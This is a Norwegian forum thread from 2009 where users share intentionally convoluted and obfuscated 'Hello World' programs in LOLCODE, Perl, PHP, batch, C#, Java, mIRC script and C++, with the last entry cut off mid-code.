Sitat av ticks Vis innlegg
Var i ferd med å prøve, men linken din må du gjøre noe med. Ikke flere autoriserte nedlastinger. Kan foreslå ZippyShare.
Vis hele sitatet...
Awww.

Her har du den:
http://www18.zippyshare.com/v/72765656/file.html

Lykke til, tror ikke det er så lett, i alle fall ikke uten penn, papir og tenketid =)
marsboer, jeg gav opp når jeg endte opp med "Hello drolw" HATER slike puzzle ting! haha kredz!
Dere viste denne måtte komme...

Mitt bidrag

Kode

HAI
CAN HAS STDIO?
VISIBLE "HAI WORLD!"
KTHXBYE
Snikkers til den som gjetter språket
Sitat av ztaale Vis innlegg
Dere viste denne måtte komme...

Mitt bidrag

Kode

HAI
CAN HAS STDIO?
VISIBLE "HAI WORLD!"
KTHXBYE
Snikkers til den som gjetter språket
Vis hele sitatet...
lolcat language! aha
Sitat av ztaale Vis innlegg
Dere viste denne måtte komme...

Mitt bidrag

Kode

HAI
CAN HAS STDIO?
VISIBLE "HAI WORLD!"
KTHXBYE
Snikkers til den som gjetter språket
Vis hele sitatet...
LOLCODE, send sjokkis

Bloatcode R us: http://bloatcode.pastebin.com/f4c8dc940

med lister, objekter, casting av variabler og gode greier...HALLELUJAH brødre (og søstre), for dette er schtøgt
Sist endret av liasis; 17. februar 2009 kl. 19:55. Grunn: Automatisk sammenslåing med etterfølgende innlegg.
Mitt bidrag, testet med Perl versjoner 5.8 og 5.10.

Kode

#!/usr/bin/perl

eval(((         'eval'.   #00101000001001110011   001100110001001100110
'("op'.         'en(\$'   #01100110011011100100   111010111100010011101
.'F,\"'.        '<\$"'.   #00001101000011010110   100101110101000011001
'.(2-2)'.       '."\"'.   #00111001010010010111   000100010001001110010
');");$n'.      '=233'.   #001000                 1011100
'7-2338;f'.     'or(;'.   #010100                 0001000
';){if($n='.    '=2-3'.   #100011                 0011001
'){$v=2-2;$'.   'n=7;'.   #100010                 0110011
'}$c=getc($F'.  ');un'.   #001100                 1100110
'less'. '(def'. 'ined'.   #11100100010010111100   010011101011011010101
'$c){'.  'last;};if(o'.   #00010111110101111101   011000001001110010100
'rd($'.   'c)eq(48)){'.   #10010111000100010001   011000010000000100010
'$_.='.    'chr($v)if'.   #00101110001010000010   011100110011001100010
'($n='.     '=2-2);$n'.   #011001                 1001100
'--;}'.      'elsif(o'.   #110011                 0111001
'rd($'.       'c)==49'.   #001110                 1011110
'){if'.        '($n=='.   #001000                 1001000
'2-2)'.         '{$_.'.   #100010                 1111001
'=chr'.         '($v+'.   #000001                 0101111
'(2**'.         '$n))'.   #101010                 0110010
';}el'.         'se{$'.   #001000                 1010010
'v+=('.         '2**$'.   #010111                 0001000
'n);}'.         '$n--'.   #100010                 0111001
';}}'))         );eval    #000100                 0100011
(eval);         (eval);   ####by:                 rkruger
Også her: http://pastebin.com/m2f055560 om formatering kanskje ser merkelig ut.
Hehe, dette har jeg faktisk gjort selv en gang i tiden - litt ment som en intern vits (skulle framheve poenget med at ting kan gjøres mye vanskeligere en det tregns)

Kode

<?php

$RIGHT_Now_your_mother_equals = 'SGVsbG8gV';
$RIGHT_Now_your_mother_equals .= '29y';$RIGHT_Now_your_mother_equals .= 'b';$RIGHT_Now_your_mother_equals .= 'G';$RIGHT_Now_your_mother_equals .= 'Q';
$VALUEfromADVANCEDisEQUALSSIMPLEPROGRAMMING = '=';

if(isset($RIGHT_Now_your_mother_equals)&&isset($RIGHT_Now_your_mother_equals)){
  if($VALUEfromADVANCEDisEQUALSSIMPLEPROGRAMMING == '=' && $VALUEfromADVANCEDisEQUALSSIMPLEPROGRAMMING !== 'You see what\'s going on, champ?'){
    $ILikeTOMakeSPimlePHPorogrammesLOLHEHE = $RIGHT_Now_your_mother_equals.$VALUEfromADVANCEDisEQUALSSIMPLEPROGRAMMING;
    }}
    
function Z_785454789984654654657($OMFGLoleBAEHEu33oeHLLOEWORLD){base64_decode($OMFGLoleBAEHEu33oeHLLOEWORLD);return $OMFGLoleBAEHEu33oeHLLOEWORLD;}

function HOLY_SHIT_I____HONESTLY___have_no_idea_what_is_going_on($a98894651697987321498723984423944932844){
  if(!isset($somethingTHATISNOTRELEVEANT)&&(!isset($_GET['hehehehehasDOMGPHP']))){print base64_decode($a98894651697987321498723984423944932844);;}}
  // ISSET is the shit

HOLY_SHIT_I____HONESTLY___have_no_idea_what_is_going_on(($ILikeTOMakeSPimlePHPorogrammesLOLHEHE));
?>
Er sikkert to år siden jeg skrev den koden der
Sist endret av Exmagician; 18. februar 2009 kl. 04:50.
folk gidder ikke å legge ut linker da? så de som har lyst til å prøve de tinga slepper å installere Visual C++/Dev++ for å teste de?
Legger ut linker til hva? Poenget er jo ikke å se at programmet fungerer, det er jo å se koden
Trigonoceps occipita
vidarlo's Avatar
Trådstarter Donor
Sitat av Mathiasbk Vis innlegg
folk gidder ikke å legge ut linker da? så de som har lyst til å prøve de tinga slepper å installere Visual C++/Dev++ for å teste de?
Vis hele sitatet...
Å køyre programma er jo nærast totalt uinteressant? Dei vil jo bare printe "hello, world" og avslutte...

Dessuten er det valgfritt kva språk ein vil bruke, og langt ifra alle språka som har dukka opp er spesielt utbredt å kompilere.
BATCH!

Kode

@echo off
echo Hello, world!
pause
skrev dette for noen år siden i C#. den spiller hver bokstav som morsekode i pc-speakeren. meget tungvinn kode.


Kode

using System;


namespace HelloWorld
{
    class Program
    {
        static void Main(string[] args)
        {
            char[] alfabetet = new char[43] { 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z','æ','ø','å','0','1','2','3','4','5','6','7','8','9','.',',','?','!' };

            string[] morse = new string[43] { "01", "1000", "1010", "100", "0", "0010", "110", "0000", "00", "0111", "101", "0100", "11", "10", "111", "0110", "1101", "010", "000", "1", "001", "0001", "011", "1001", "1011", "1100", "0101", "1110", "01101", "11111", "01111", "00111", "00011", "00001", "00000", "10000", "11000", "11100", "11110", "010101","110011","001100","101011" };

            //string test = Console.ReadLine();  //To enter own string
            string test = "hello, world";       //Sets string to "hello, world"

            test = test.ToLower();              //convert to all lowercase
            int lengde = test.Length;
            int morsepos = 0;
            //Console.WriteLine(lengde);
            for (int posisjon = 0; posisjon < lengde; posisjon++)       //loop to get individual characters
            {
                char bokstav = test[posisjon];
                Console.Write(bokstav);                                 //print character
                if (bokstav==' ')       //7 unit long gap between words, skip beep
                {
                    MediumGap();
                    continue;
                }
                for (int teller = 0; teller <= 42; teller++)
                {
                    if (bokstav == alfabetet[teller])
                    {
                        morsepos = teller;
                        break;
                    }

                }
                
                for (int beeppos = 0; beeppos < morse[morsepos].Length; beeppos++)
                {
                    char x = morse[morsepos][beeppos];
                    //Console.Write(morse[morsepos][beeppos]);
                    if (x == '0')
                    {
                        ShortBeep();
                        
                    }
                    else
                    {
                        LongBeep();
                        
                    }

                    
                }
                ShortGap(); //short gap between letters
            }
            Console.ReadKey(true);
        }

        static void ShortBeep()
   {
       System.Console.Beep(2000, 50);
       System.Threading.Thread.Sleep(50);
   }
   static void LongBeep()
   {
      System.Console.Beep(2000, 150);
     System.Threading.Thread.Sleep(50);
   }
   static void ShortGap()
   {
       System.Threading.Thread.Sleep(100);
   }
   static void MediumGap()
   {
       System.Threading.Thread.Sleep(300);
   }  
        

    }
}
MÅLGRUPPE: Pc-kyndige blinde, som i tillegg er jævlig kjappe i morse.

"hello, world" to the handicapped!
Skrev min hello world i java. Denne snutten er skrevet omtrent motsatt av hvordan jeg vanligvis skriver kode (feks jeg vet om String). Det fikk meg merkelig nok til å tenke mer over hvordan man setter opp koden for å være lesbar/gjenbrukbar osv. når jeg gikk aktivt inn for å motvirke det. Og jeg ble glad jeg ikke skriver sånn til vanlig.

Kode

public class outputter
{
	public static void main(String[] args)
	{	
		new outputter().output();
	}

	public void output()
	{
		fiveLetterWord h = new fiveLetterWord(72, 101, 108, 108, 111);
		fiveLetterWord w = new fiveLetterWord(119, 111, 114, 108, 100);		
		printTwoWords(h, w, true);
	}
	
	public void printTwoWords(word word1, word word2, boolean withASeparator)
	{
		int word1length = word1.getWord().length;
		int word2length = word2.getWord().length;
		
		if(withASeparator == true)
		{
			for(int i = 0; i < word1.getWord().length; i++)
			{
				System.out.print(word1.getWord()[i]);		
			}		
			
			System.out.print((char)44);
			System.out.print((char)32);
			
			for(int i = 0; i < word2.getWord().length; i++)
			{
				System.out.print(word2.getWord()[i]);		
			}
		}
		else if(withASeparator == false)
		{
			for(int i = 0; i < word1.getWord().length; i++)
			{
				System.out.print(word1.getWord()[i]);		
			}
			
			for(int i = 0; i < word2.getWord().length; i++)
			{
				System.out.print(word2.getWord()[i]);		
			}
		}
		else{
			//do Nothing
		}
	}	
	
	abstract private class word{	
		abstract public char[] getWord();
	}
	
	private class fiveLetterWord extends word
	{
		char[] letters = new char[5];
	
		public fiveLetterWord(int letterOne, int letterTwo, int letterThree, int letterFour, int letterFive)
		{
			letters[1-1] = (char)letterOne;
			letters[2-1] = (char)letterTwo;
			letters[3-1] = (char)letterThree;
			letters[4-1] = (char)letterFour;
			letters[5-1] = (char)letterFive;
		}
	
		public char[] getWord()
		{
			char out[] = new char[5];
			for(int i = 5-1; i > -1; i--)
			{
				out[i] = letters[i];
			}
	
			return out;
		}
	}
}
Sitat av marsboer Vis innlegg
Akkurat "Hello World"-lysene er egentlig et movieclip, som blir utløst når kranen trykker knappen. Den heter forøvrig neon.play(); som starter avspillingen.

Ja, jeg tror jeg brøt reglene, hehe. Men denne gangen lager jeg noe annet som er nesten ren kode. En rotasjonskode der du må rotere bokstavene for å få dem i riktig rekkefølge.
Vis hele sitatet...
Ah, så enkelt! Tenkte ikke på det, jeg kan heller ikke flash. Tror nok du brøt en regel da ja

Ser ut som om det er mange bra forslag her!

|d13m0b: Prøvde din for meg mystiske code (i innlegg 3.259), men kan ikke si jeg fikk den til å virke? Ingen feilmelding, bare null tekst. (Code::Blocks og windoes)
Hello... wtf, mIRC script?
- Ja!

Kode

alias mircscript {
  tokenize 32 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122

  var %1 = $1 , %2 = $2 , %3 = $3 , %4 = $4 , %5 = $5 , %6 = $6 , %7 = $7 , %8 = $8 , %9 = $9 , %10 = $10 , %11 = $11 , %12 = $12 , %13 = $13 , %14 = $14 , %15 = $15 , %16 = $16 , %17 = $17 , %18 = $18 , %19 = $19 , %20 = $20 , %21 = $21 , %22 = $22 , %23 = $23 , %24 = $24 , %25 = $25 , %26 = $26

  var %i = 1, %alphabet
  
  while (%i <= 26) {
    if (%alphabet != $null) {
      var %alphabettemp = %alphabet
    }
    var %alphabet = %alphabettemp $chr($calc(96+%i))
    inc %i
  }
  
  tokenize 32 %alphabet
  
  echo -a $+($upper($8),$5,$12,$12,$15) $+ , $+($23,$15,$18,$12,$4) $+ !
}
10goto10: Variabelen silent, sett den til 1.
90-tallet ringte å ville ha tilbake koden sin.

Kode

@echo off
:frame1
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo FF
echo NFF
echo NFF
echo NFF
echo FF
ping 127.0.0.1 -n 1 -w 50 >NUL
cls
goto :frame2

:frame2
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo NFF
echo   NFF
echo    NFF
echo    NFF
echo    NFF
echo   NFF
echo NFF
ping 127.0.0.1 -n 1 -w 50 >NUL
cls
goto :frame3

:frame3
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo NFFNFF
echo NFF  NFF
echo NFF   NFF
echo NFF   NFF
echo NFF   NFF
echo NFF  NFF
echo NFFNFF
ping 127.0.0.1 -n 1 -w 50 >NUL
cls
goto :frame4

:frame4
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo    NFFNFF
echo    NFF  NFF
echo    NFF   NFF
echo    NFF   NFF
echo    NFF   NFF
echo FF NFF  NFF
echo FF NFFNFF
ping 127.0.0.1 -n 1 -w 50 >NUL
cls
goto :frame5

:frame5
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo FF    NFFNFF
echo FF    NFF  NFF
echo FF    NFF   NFF
echo FF    NFF   NFF
echo FF    NFF   NFF
echo FFNFF NFF  NFF
echo FFNFF NFFNFF
ping 127.0.0.1 -n 1 -w 50 >NUL
cls
goto :frame6

:frame6
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo   NFF    NFFNFF
echo   NFF    NFF  NFF
echo   NFF    NFF   NFF
echo   NFF    NFF   NFF
echo   NFF    NFF   NFF
echo   NFFNFF NFF  NFF
echo F NFFNFF NFFNFF
ping 127.0.0.1 -n 1 -w 50 >NUL
cls
goto :frame7

:frame7
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo F    NFF    NFFNFF
echo NFF  NFF    NFF  NFF
echo NFF  NFF    NFF   NFF
echo F    NFF    NFF   NFF
echo FF   NFF    NFF   NFF
echo NFF  NFFNFF NFF  NFF
echo  NFF NFFNFF NFFNFF
ping 127.0.0.1 -n 1 -w 50 >NUL
cls
goto :frame8

:frame8
echo.
echo.
echo F
echo FF
echo FF
echo FF
echo F
echo.
echo.
echo FNFF    NFF    NFFNFF
echo F  NFF  NFF    NFF  NFF
echo F  NFF  NFF    NFF   NFF
echo FNFF    NFF    NFF   NFF
echo F NFF   NFF    NFF   NFF
echo F  NFF  NFFNFF NFF  NFF
echo F   NFF NFFNFF NFFNFF
ping 127.0.0.1 -n 1 -w 50 >NUL
cls
goto :frame9

:frame9
echo.
echo FF
echo   NFF
echo    NFF
echo    NFF
echo    NFF
echo   NFF
echo FF
echo.
echo   NFFNFF    NFF    NFFNFF
echo   NFF  NFF  NFF    NFF  NFF
echo F NFF  NFF  NFF    NFF   NFF
echo F NFFNFF    NFF    NFF   NFF
echo F NFF NFF   NFF    NFF   NFF
echo   NFF  NFF  NFFNFF NFF  NFF
echo   NFF   NFF NFFNFF NFFNFF
ping 127.0.0.1 -n 1 -w 50 >NUL
cls
goto :frame10

:frame10
echo.
echo   NFF
echo FF   NFF
echo F     NFF
echo F     NFF
echo F     NFF
echo FF   NFF
echo   NFF
echo.
echo      NFFNFF    NFF    NFFNFF
echo NFF  NFF  NFF  NFF    NFF  NFF
echo  NFF NFF  NFF  NFF    NFF   NFF
echo  NFF NFFNFF    NFF    NFF   NFF
echo  NFF NFF NFF   NFF    NFF   NFF
echo NFF  NFF  NFF  NFFNFF NFF  NFF
echo      NFF   NFF NFFNFF NFFNFF
ping 127.0.0.1 -n 1 -w 50 >NUL
cls
goto :frame11

:frame11
echo.
echo      NFF
echo   NFF   NFF
echo  NFF     NFF
echo  NFF     NFF
echo  NFF     NFF
echo   NFF   NFF
echo      NFF
echo.
echo NFF     NFFNFF    NFF    NFFNFF
echo F  NFF  NFF  NFF  NFF    NFF  NFF
echo     NFF NFF  NFF  NFF    NFF   NFF
echo     NFF NFFNFF    NFF    NFF   NFF
echo     NFF NFF NFF   NFF    NFF   NFF
echo F  NFF  NFF  NFF  NFFNFF NFF  NFF
echo NFF     NFF   NFF NFFNFF NFFNFF
ping 127.0.0.1 -n 1 -w 50 >NUL
cls
goto :frame12

:frame12
echo.
echo         NFF
echo      NFF   NFF
echo     NFF     NFF
echo     NFF     NFF
echo     NFF     NFF
echo NFF  NFF   NFF
echo NFF     NFF
echo. 
echo     NFF     NFFNFF    NFF    NFFNFF
echo  NFF   NFF  NFF  NFF  NFF    NFF  NFF
echo NFF     NFF NFF  NFF  NFF    NFF   NFF
echo NFF     NFF NFFNFF    NFF    NFF   NFF
echo NFF     NFF NFF NFF   NFF    NFF   NFF
echo  NFF   NFF  NFF  NFF  NFFNFF NFF  NFF
echo     NFF     NFF   NFF NFFNFF NFFNFF
ping 127.0.0.1 -n 1 -w 50 >NUL
cls
goto :frame13

:frame13
echo.
echo NFF        NFF
echo NFF     NFF   NFF
echo NFF    NFF     NFF
echo NFF    NFF     NFF
echo NFF    NFF     NFF
echo NFFNFF  NFF   NFF
echo NFFNFF     NFF
echo.
echo FF     NFF     NFFNFF    NFF    NFFNFF
echo FF  NFF   NFF  NFF  NFF  NFF    NFF  NFF
echo FF NFF     NFF NFF  NFF  NFF    NFF   NFF
echo FF NFF     NFF NFFNFF    NFF    NFF   NFF
echo FF NFF     NFF NFF NFF   NFF    NFF   NFF
echo FF  NFF   NFF  NFF  NFF  NFFNFF NFF  NFF
echo FF     NFF     NFF   NFF NFFNFF NFFNFF
ping 127.0.0.1 -n 1 -w 50 >NUL
cls
goto :frame14

:frame14
echo.
echo    NFF        NFF
echo    NFF     NFF   NFF
echo    NFF    NFF     NFF
echo    NFF    NFF     NFF
echo    NFF    NFF     NFF
echo FF NFFNFF  NFF   NFF
echo FF NFFNFF     NFF
echo.
echo   NFF     NFF     NFFNFF    NFF    NFFNFF
echo   NFF  NFF   NFF  NFF  NFF  NFF    NFF  NFF
echo   NFF NFF     NFF NFF  NFF  NFF    NFF   NFF
echo   NFF NFF     NFF NFFNFF    NFF    NFF   NFF
echo   NFF NFF     NFF NFF NFF   NFF    NFF   NFF
echo   NFF  NFF   NFF  NFF  NFF  NFFNFF NFF  NFF
echo FFNFF     NFF     NFF   NFF NFFNFF NFFNFF
ping 127.0.0.1 -n 1 -w 50 >NUL
cls
goto :frame15

:frame15
echo.
echo FF    NFF        NFF
echo FF    NFF     NFF   NFF
echo FF    NFF    NFF     NFF
echo FF    NFF    NFF     NFF
echo FF    NFF    NFF     NFF
echo FFNFF NFFNFF  NFF   NFF
echo FFNFF NFFNFF     NFF
echo.
echo FF   NFF     NFF     NFFNFF    NFF    NFFNFF
echo FF   NFF  NFF   NFF  NFF  NFF  NFF    NFF  NFF
echo FF   NFF NFF     NFF NFF  NFF  NFF    NFF   NFF
echo FF   NFF NFF     NFF NFFNFF    NFF    NFF   NFF
echo FF   NFF NFF     NFF NFF NFF   NFF    NFF   NFF
echo FF   NFF  NFF   NFF  NFF  NFF  NFFNFF NFF  NFF
echo FFNFFNFF     NFF     NFF   NFF NFFNFF NFFNFF
ping 127.0.0.1 -n 1 -w 50 >NUL
cls
goto :frame16

:frame16
echo.
echo F NFF    NFF        NFF
echo   NFF    NFF     NFF   NFF
echo   NFF    NFF    NFF     NFF
echo F NFF    NFF    NFF     NFF
echo   NFF    NFF    NFF     NFF
echo   NFFNFF NFFNFF  NFF   NFF
echo F NFFNFF NFFNFF     NFF
echo.
echo   NFF   NFF     NFF     NFFNFF    NFF    NFFNFF
echo   NFF   NFF  NFF   NFF  NFF  NFF  NFF    NFF  NFF
echo   NFF   NFF NFF     NFF NFF  NFF  NFF    NFF   NFF
echo   NFF   NFF NFF     NFF NFFNFF    NFF    NFF   NFF
echo   NFF   NFF NFF     NFF NFF NFF   NFF    NFF   NFF
echo   NFF   NFF  NFF   NFF  NFF  NFF  NFFNFF NFF  NFF
echo FFNFFNFFNFF     NFF     NFF   NFF NFFNFF NFFNFF
ping 127.0.0.1 -n 1 -w 50 >NUL
cls
goto :frame17

:frame17
echo.
echo FNFF NFF    NFF        NFF
echo F    NFF    NFF     NFF   NFF
echo F    NFF    NFF    NFF     NFF
echo FNFF NFF    NFF    NFF     NFF
echo F    NFF    NFF    NFF     NFF
echo F    NFFNFF NFFNFF  NFF   NFF
echo FNFF NFFNFF NFFNFF     NFF
echo.
echo FF   NFF   NFF     NFF     NFFNFF    NFF    NFFNFF
echo FF   NFF   NFF  NFF   NFF  NFF  NFF  NFF    NFF  NFF
echo FF   NFF   NFF NFF     NFF NFF  NFF  NFF    NFF   NFF
echo FF   NFF   NFF NFF     NFF NFFNFF    NFF    NFF   NFF
echo FF   NFF   NFF NFF     NFF NFF NFF   NFF    NFF   NFF
echo FF   NFF   NFF  NFF   NFF  NFF  NFF  NFFNFF NFF  NFF
echo FFNFFNFFNFFNFF     NFF     NFF   NFF NFFNFF NFFNFF
ping 127.0.0.1 -n 1 -w 50 >NUL
cls
goto :frame18

:frame18
echo.
echo  NFFNFF NFF    NFF        NFF
echo  NFF    NFF    NFF     NFF   NFF
echo  NFF    NFF    NFF    NFF     NFF
echo  NFFNFF NFF    NFF    NFF     NFF
echo  NFF    NFF    NFF    NFF     NFF
echo  NFF    NFFNFF NFFNFF  NFF   NFF
echo  NFFNFF NFFNFF NFFNFF     NFF
echo.
echo   NFF   NFF   NFF     NFF     NFFNFF    NFF    NFFNFF
echo   NFF   NFF   NFF  NFF   NFF  NFF  NFF  NFF    NFF  NFF
echo   NFF   NFF   NFF NFF     NFF NFF  NFF  NFF    NFF   NFF
echo   NFF   NFF   NFF NFF     NFF NFFNFF    NFF    NFF   NFF
echo   NFF   NFF   NFF NFF     NFF NFF NFF   NFF    NFF   NFF
echo   NFF   NFF   NFF  NFF   NFF  NFF  NFF  NFFNFF NFF  NFF
echo   NFFNFFNFFNFFNFF     NFF     NFF   NFF NFFNFF NFFNFF
ping 127.0.0.1 -n 1 -w 50 >NUL
cls
goto :frame19

:frame19
echo.
echo NFF NFFNFF NFF    NFF        NFF
echo NFF NFF    NFF    NFF     NFF   NFF
echo NFF NFF    NFF    NFF    NFF     NFF
echo NFF NFFNFF NFF    NFF    NFF     NFF
echo NFF NFF    NFF    NFF    NFF     NFF
echo NFF NFF    NFFNFF NFFNFF  NFF   NFF
echo NFF NFFNFF NFFNFF NFFNFF     NFF
echo.
echo      NFF   NFF   NFF     NFF     NFFNFF    NFF    NFFNFF
echo      NFF   NFF   NFF  NFF   NFF  NFF  NFF  NFF    NFF  NFF
echo      NFF   NFF   NFF NFF     NFF NFF  NFF  NFF    NFF   NFF
echo      NFF   NFF   NFF NFF     NFF NFFNFF    NFF    NFF   NFF
echo      NFF   NFF   NFF NFF     NFF NFF NFF   NFF    NFF   NFF
echo      NFF   NFF   NFF  NFF   NFF  NFF  NFF  NFFNFF NFF  NFF
echo      NFFNFFNFFNFFNFF     NFF     NFF   NFF NFFNFF NFFNFF
ping 127.0.0.1 -n 1 -w 50 >NUL
cls
goto :frame20

:frame20
echo.
echo    NFF NFFNFF NFF    NFF        NFF
echo    NFF NFF    NFF    NFF     NFF   NFF
echo    NFF NFF    NFF    NFF    NFF     NFF
echo NFFNFF NFFNFF NFF    NFF    NFF     NFF
echo    NFF NFF    NFF    NFF    NFF     NFF
echo    NFF NFF    NFFNFF NFFNFF  NFF   NFF
echo    NFF NFFNFF NFFNFF NFFNFF     NFF
echo.
echo         NFF   NFF   NFF     NFF     NFFNFF    NFF    NFFNFF
echo         NFF   NFF   NFF  NFF   NFF  NFF  NFF  NFF    NFF  NFF
echo         NFF   NFF   NFF NFF     NFF NFF  NFF  NFF    NFF   NFF
echo         NFF   NFF   NFF NFF     NFF NFFNFF    NFF    NFF   NFF
echo         NFF   NFF   NFF NFF     NFF NFF NFF   NFF    NFF   NFF
echo         NFF   NFF   NFF  NFF   NFF  NFF  NFF  NFFNFF NFF  NFF
echo         NFFNFFNFFNFFNFF     NFF     NFF   NFF NFFNFF NFFNFF
ping 127.0.0.1 -n 1 -w 50 >NUL
cls
goto :frame21

:frame21
echo.
echo NFF   NFF NFFNFF NFF    NFF        NFF
echo NFF   NFF NFF    NFF    NFF     NFF   NFF
echo NFF   NFF NFF    NFF    NFF    NFF     NFF
echo NFFNFFNFF NFFNFF NFF    NFF    NFF     NFF
echo NFF   NFF NFF    NFF    NFF    NFF     NFF
echo NFF   NFF NFF    NFFNFF NFFNFF  NFF   NFF
echo NFF   NFF NFFNFF NFFNFF NFFNFF     NFF
echo.
echo            NFF   NFF   NFF     NFF     NFFNFF    NFF    NFFNFF
echo            NFF   NFF   NFF  NFF   NFF  NFF  NFF  NFF    NFF  NFF
echo            NFF   NFF   NFF NFF     NFF NFF  NFF  NFF    NFF   NFF
echo            NFF   NFF   NFF NFF     NFF NFFNFF    NFF    NFF   NFF
echo            NFF   NFF   NFF NFF     NFF NFF NFF   NFF    NFF   NFF
echo            NFF   NFF   NFF  NFF   NFF  NFF  NFF  NFFNFF NFF  NFF
echo            NFFNFFNFFNFFNFF     NFF     NFF   NFF NFFNFF NFFNFF
ping 127.0.0.1 -n 1 -w 50 >NUL
cls
goto :frame22

:frame22
echo.
echo  NFF   NFF NFFNFF NFF    NFF        NFF
echo  NFF   NFF NFF    NFF    NFF     NFF   NFF
echo  NFF   NFF NFF    NFF    NFF    NFF     NFF
echo  NFFNFFNFF NFFNFF NFF    NFF    NFF     NFF
echo  NFF   NFF NFF    NFF    NFF    NFF     NFF
echo  NFF   NFF NFF    NFFNFF NFFNFF  NFF   NFF
echo  NFF   NFF NFFNFF NFFNFF NFFNFF     NFF
echo.
echo             NFF   NFF   NFF     NFF     NFFNFF    NFF    NFFNFF
echo             NFF   NFF   NFF  NFF   NFF  NFF  NFF  NFF    NFF  NFF
echo             NFF   NFF   NFF NFF     NFF NFF  NFF  NFF    NFF   NFF
echo             NFF   NFF   NFF NFF     NFF NFFNFF    NFF    NFF   NFF
echo             NFF   NFF   NFF NFF     NFF NFF NFF   NFF    NFF   NFF
echo             NFF   NFF   NFF  NFF   NFF  NFF  NFF  NFFNFF NFF  NFF
echo             NFFNFFNFFNFFNFF     NFF     NFF   NFF NFFNFF NFFNFF
ping 123.123.123.123 -n 1 -w 2000 >NUL
exit
Sist endret av plohg; 19. februar 2009 kl. 00:38.
Haha, Plohg, der sa du noe! Her er min batchkode som ennå ikke funker har ikke gjort noe i batch på et par år, så denne er ikke helt i topp stand. Beklager at den er usansynlig lang

Kode

:main
@echo off
cls
Title Hello... who%?%
cls
echo Lets greet someone..:
echo Loading list of users to greet...
@ping 127.0.0.1 -n 2 -w 500 > nul
echo Loading..
@ping 127.0.0.1 -n 2 -w 500 > nul
echo Loading...
@ping 127.0.0.1 -n 2 -w 500 > nul
echo Loading....
@ping 127.0.0.1 -n 2 -w 500 > nul
echo 100%%% loaded!
echo Press any key to continue
pause > nul

:main
echo Welcome!
SET $g=H
SET $8=e
SET $jjj=l
SET $e=o
SET $t= 
SET $23235io=W
SET $arnold=r
SET $hgy=d
echo.
echo Who would you like to greet%?%
echo Available choices:
echo 1: Harry Potter
echo To greet Harry Potter, enter harry or Harry.
echo.
echo 2: NFF
echo To greet NFF, enter NFF
echo.
echo 3: The World
echo To greet the world, enter world or World
echo.
echo Or just cancel to exit :)
echo.
SET /p input=[1,2,3,4]? > nul
IF %input%=="" (
 echo Input er obligatorisk
 goto helloloop
)
IF %input%=="Harry" (
 goto harry
)
IF %input%=="NFF" (
 goto nff
)
IF %input%=="World" (
 goto world
)
IF %input%=="cancel" (
 goto exit
)

:helloloop
echo.
echo.
echo.
echo.
echo.
echo Welcome!
SET $g=H
SET $8=e
SET $jjj=l
SET $e=o
SET $t= 
SET $23235io=W
SET $arnold=r
SET $hgy=d
echo.
echo Who would you like to greet%?%
echo Available choices:
echo 1: Harry Potter
echo To greet Harry Potter, enter harry or Harry.
echo.
echo 2: NFF
echo To greet NFF, enter NFF
echo.
echo 3: The World
echo To greet the world, enter world or World
echo.
echo Or just cancel to exit :)
echo.
SET /p input=[1,2,3,4]? > nul
IF %input%=="" (
 echo Input er obligatorisk
 goto helloloop
)
IF %input%=="harry" (
 goto harry
)
IF %input%=="NFF" (
 goto nff
)
IF %input%=="world" (
 goto world
)
IF %input%=="cancel" (
 goto exit
)

:harry
echo Harry Potter magically forces you to greet the world instead!
echo.
echo.
echo You greet the world. %$g%%$8%%$jjj%%$jjj%%$e%%$t%%$23235io%%$e%%$jjj%%$hgy%!
echo %$g%%$8%%$jjj%%$jjj%%$e%%$t%%$23235io%%$e%%$jjj%%$hgy%
echo %$g%%$8%%$jjj%%$jjj%%$e%%$t%%$23235io%%$e%%$jjj%%$hgy%
goto helloloop
pause > nul

:nff
echo NFF thinks you should greet the world instead
echo You greet the world! %$g%%$8%%$jjj%%$jjj%%$e%%$t%%$23235io%%$e%%$jjj%%$hgy%!
echo.
goto helloloop
pause > nul

:world
echo %$g%%$8%%$jjj%%$jjj%%$e%%$t%%$23235io%%$e%%$jjj%%$hgy%!
echo %$g%%$8%%$jjj%%$jjj%%$e%%$t%%$23235io%%$e%%$jjj%%$hgy%!
echo %$g%%$8%%$jjj%%$jjj%%$e%%$t%%$23235io%%$e%%$jjj%%$hgy%!
echo You greet the world! Hello, World!
goto helloloop
pause > nul

:exit
exit
|d13m0b: Tenkte på ditt forslag nr 2 øverst på side 2 i tråden her. Har ikke testa den første din.
Hva man får til når man må (øh..).
Samme programmet som det første.
C++

Kode

#include <iostream>
#define us unsigned short
#define uc unsigned char
#define ui unsigned int
#define re return
#define in int
#define un using namespace
#define st std
#define bo bool
#define fo for
#define tr true
#define co cout
#define ma main

        un                          st     ;                                                                          us            bg
        (                           us     n                                                                          );            ;
        in                          ma     ()                                                                         {             bo
        a,                          b,     c,                                                                         d,            e,
        f,                          g,     h;                                                                         uc            w[
        16                          ];     ui                                                                         v;            fo
        (                           us     s=                                                                         0;            s<
        16   ;s++        ){if       (s     ==       8)s=                   12     ;us    t      =bg(s    );   d=t     &8      ;e=t& 4;
        f= t&2;g=t     &1;v=0;fo    (      us       u=0;u<                 8;     u++    )     {us r=    bg (u);a=    r&     1;b=r&2;c
        =r&4;   h=    a&!    c&     !e     |b     &c&   !d                 &!    e&f    |c    &e&   !f   &!g|b  &c    &e    &!f    |a&
        b&!c    |c    &d    &!e     &!     f&     !g     |a                &!    b&c    &d    &!     e&  !f;    h=    h|    !a      &b
        &c&     !e   &!   f&!g      |b     &!    c&      d&                !e   &!f&g  |a    &b      &c  &d     &!    e&   f|       b&
        c&      d&   f& !g|b        &c     &e    &!      f;                 h=  h| a&  !c    &!      d&  e&           !f   &!       g|
